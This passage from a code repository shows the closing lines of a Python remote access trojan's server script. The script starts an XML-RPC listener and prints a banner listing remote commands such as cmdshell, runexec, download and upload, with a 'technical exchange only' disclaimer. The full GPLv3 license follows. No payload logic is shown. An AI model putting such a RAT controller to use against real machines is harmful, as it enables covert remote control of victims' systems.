341 | self.svrtask = SvrTask()
342 | SvrMethod.set_taskmgr(self.svrtask) #在SvrMethod()前
343 | self.svr = SimpleXMLRPCServer(("0.0.0.0", port), logRequests=False, allow_none=True)
344 | self.svr.register_instance(SvrMethod())
345 |
346 | def start(self):
347 | self.svrtask.start()
348 | self.svr.serve_forever()
349 |
350 | # 在使用本方法之前,请先做如下import
351 | # from __future__ import division
352 | import math
353 | # import sys
354 | # ##blog.useasp.net##
355 | def progressbar(cur, total):
356 | percent = '{:.2%}'.format(cur*1.0 / total)
357 | sys.stdout.write('\r')
358 | sys.stdout.write("[%-50s] %s" % ( '=' * int(math.floor(cur * 50 / total)), percent))
359 | sys.stdout.flush()
360 |
361 | def test():
362 | for i in xrange(0, 100):
363 | progressbar(i, 100)
364 | time.sleep(1)
365 |
366 | if __name__ == '__main__':
367 | if len(sys.argv) < 2:
368 | print 'usage: pyratsvr.py port'
369 | os._exit(0)
370 | init(autoreset=True)
371 | print '--------------------Python RAT-----------------------'
372 | print '--------------------anhkgg---------------------------'
373 | print '--------------------Copyright (c) 2018---------------'
374 | print ''
375 | print Fore.RED+'软件仅供技术交流,请勿用于商业及非法用途,如产生法律纠纷与本人无关!'.decode('utf8')+Fore.RESET
376 | print ''
377 | print '--------------------Task command---------------------'
378 | print '--|(l)ist (a)live (k)ill (s)elect (p)rint (c)mdshell (n)ew (d)ownload (r)unexec (u)pload (t)erminate (q)uit (h)elp|--'
379 | print ''
380 | svr = XMLSvr(int(sys.argv[1]))
381 | svr.start()
382 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 | Copyright © 2007 Free Software Foundation, Inc.
4 |
5 | Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
6 |
7 | Preamble
8 |
9 | The GNU General Public License is a free, copyleft license for software and other kinds of works.
10 |
11 | The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too.
12 |
13 | When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things.
14 |
15 | To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others.
16 |
17 | For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
18 |
19 | Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it.
20 |
21 | For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions.
22 |
23 | Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users.
24 |
25 | Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free.
26 |
27 | The precise terms and conditions for copying, distribution and modification follow.
28 |
29 | TERMS AND CONDITIONS
30 |
31 | 0. Definitions.
32 |
33 | “This License” refers to version 3 of the GNU General Public License.
34 |
35 | “Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks.
36 |
37 | “The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations.
38 |
39 | To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work.
40 |
41 | A “covered work” means either the unmodified Program or a work based on the Program.
42 |
43 | To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well.
44 |
45 | To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying.
46 |
47 | An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion.
48 |
49 | 1. Source Code.
50 | The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work.
51 |
52 | A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language.
53 |
54 | The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it.
55 |
56 | The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work.
57 |
58 | The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source.
59 |
60 | The Corresponding Source for a work in source code form is that same work.
61 |
62 | 2. Basic Permissions.
63 | All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law.
64 |
65 | You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you.
66 |
67 | Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
68 |
69 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
70 | No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures.
71 |
72 | When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures.
73 |
74 | 4. Conveying Verbatim Copies.
75 | You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program.
76 |
77 | You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee.
78 |
79 | 5. Conveying Modified Source Versions.
80 | You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions:
81 |
82 | a) The work must carry prominent notices stating that you modified it, and giving a relevant date.
83 |
84 | b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”.
85 |
86 | c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it.
87 |
88 | d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so.
89 |
90 | A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate.
91 |
92 | 6. Conveying Non-Source Forms.
93 | You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways:
94 |
95 | a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange.
96 |
97 | b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge.
98 |
99 | c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b.
100 |
101 | d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements.
102 |
103 | e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d.
104 |
105 | A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work.
106 |
107 | A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product.
108 |
109 | “Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made.
110 |
111 | If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM).
112 |
113 | The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network.
114 |
115 | Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying.
116 |
117 | 7. Additional Terms.
118 | “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions.
119 |
120 | When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission.
121 |
122 | Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms:
123 |
124 | a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or
125 |
126 | b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or
127 |
128 | c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or
129 |
130 | d) Limiting the use for publicity purposes of names of licensors or authors of the material; or
131 |
132 | e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or
133 |
134 | f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors.
135 |
136 | All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying.
137 |
138 | If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms.
139 |
140 | Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.
141 |
142 | 8. Termination.
143 | You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11).
144 |
145 | However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
146 |
147 | Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
148 |
149 | Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10.
150 |
151 | 9. Acceptance Not Required for Having Copies.
152 | You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so.
153 |
154 | 10. Automatic Licensing of Downstream Recipients.
155 | Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License.
156 |
157 | An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts.
158 |
159 | You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it.
160 |
161 | 11. Patents.
162 | A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”.
163 |
164 | A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License.
165 |
166 | Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version.
167 |
168 | In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party.
169 |
170 | If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid.
171 |
172 | If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it.
173 |
174 | A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.
175 |
176 | Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.
177 |
178 | 12. No Surrender of Others' Freedom.
179 | If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.
180 |
181 | 13. Use with the GNU Affero General Public License.
182 | Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.
183 |
184 | 14. Revised Versions of this License.
185 | The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
186 |
187 | Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.
188 |
189 | If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.
190 |
191 | Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.
192 |
193 | 15. Disclaimer of Warranty.
194 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
195 |
196 | 16. Limitation of Liability.
197 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
198 |
199 | 17. Interpretation of Sections 15 and 16.
200 | If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.
201 |
202 | END OF TERMS AND CONDITIONS
203 |
204 | How to Apply These Terms to Your New Programs
205 |
206 | If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.
207 |
208 | To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found.
209 |
210 |
211 | Copyright (C)
212 |
213 | This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
214 |
215 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
216 |
217 | You should have received a copy of the GNU General Public License along with this program. If not, see .
218 |
219 | Also add information on how to contact you by electronic and paper mail.
220 |
221 | If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:
222 |
223 | Copyright (C)
224 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
225 | This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details.
226 |
227 | The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”.
228 |
229 | You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see .
230 |
231 | The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read .
232 |
--------------------------------------------------------------------------------